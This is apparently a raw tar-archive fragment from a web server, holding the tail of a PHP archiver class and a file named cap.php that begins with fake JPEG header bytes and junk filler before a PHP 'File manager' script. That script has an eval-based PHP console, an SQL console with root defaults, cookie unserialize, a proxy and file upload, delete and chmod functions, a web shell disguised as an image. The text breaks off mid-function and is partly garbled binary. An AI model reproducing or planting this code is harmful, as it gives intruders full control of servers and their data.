		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           cap.php                                                                                             0000644                 00000234451 15217301621 0006027 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
